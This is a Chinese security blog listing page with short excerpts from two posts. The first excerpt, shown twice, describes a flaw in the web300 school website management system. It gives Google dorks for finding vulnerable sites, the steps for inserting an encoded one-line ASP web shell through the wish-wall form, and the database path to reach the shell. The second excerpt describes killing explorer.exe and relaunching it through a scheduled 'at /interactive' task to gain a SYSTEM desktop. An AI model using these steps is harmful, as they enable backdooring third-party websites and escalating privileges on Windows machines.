web300全能学校网站管理系统数据库插马漏洞
漏洞描述： web300全能学校网站管理系统对许愿墙的数据库未处理，可插入一句话。 漏洞测试： Google:inurl:plus_dg.asp 或者 inurl:downdown.asp 跳到/xy/wish.asp页面，点击 我要许愿 在许愿内容处插入一句话 ┼攠數畣整爠煥敵瑳∨≡┩愾，连接数据库 地址：xy/web300%25%23%40.asp。
阅读全文 →SECURITY RESEARCH / ENGINEERING
文章与研究
在证据与实验中理解复杂系统。
web300全能学校网站管理系统数据库插马漏洞
漏洞描述： web300全能学校网站管理系统对许愿墙的数据库未处理，可插入一句话。 漏洞测试： Google:inurl:plus_dg.asp 或者 inurl:downdown.asp 跳到/xy/wish.asp页面，点击 我要许愿 在许愿内容处插入一句话 ┼攠數畣整爠煥敵瑳∨≡┩愾，连接数据库 地址：xy/web300%25%23%40.asp。
阅读全文 →使用权限最高的system账户
一、在命令行下结束explorer进程 taskkill /f /im explorer.exe 二、用计划任务启动交互式的界面 at 13:30 /interactive explorer.exe 必须开启Task Scheduler服务，默认是开启的。这样当到了13:30的时候，explorer进程会以system用户启动，桌面会被重新加载，变成system用户的桌面。
阅读全文 →